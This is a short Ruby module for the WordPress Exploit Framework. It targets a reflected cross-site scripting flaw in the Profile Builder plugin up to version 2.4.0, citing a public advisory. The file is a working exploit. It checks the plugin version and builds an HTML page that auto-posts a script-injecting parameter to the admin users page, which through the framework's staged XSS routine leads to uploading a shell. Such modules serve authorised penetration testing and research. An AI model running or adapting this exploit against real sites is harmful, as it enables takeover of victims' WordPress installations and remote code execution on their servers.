# frozen_string_literal: true

class Wpxf::Exploit::ProfileBuilderReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'Profile Builder <= 2.4.0 Reflected XSS Shell Upload',
      author: [
        'Yorick Koster', # Disclosure
        'rastating'      # WPXF module
      ],
      references: [
        ['WPVDB', '8547'],
        ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_profile_builder_wordpress_plugin.html']
      ],
      date: 'Jul 13 2016'
    )
  end

  def check
    check_plugin_version_from_readme('profile-builder', '2.4.1')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'users.php')
  end

  def initial_script
    %|<html><head></head><body><script>
      #{js_post}
      post('#{vulnerable_url}?page=unconfirmed_emails', {
        page: '"><script>#{xss_ascii_encoded_include_script}<\\/script>'
      });
    </script></body></html>
    |
  end
end
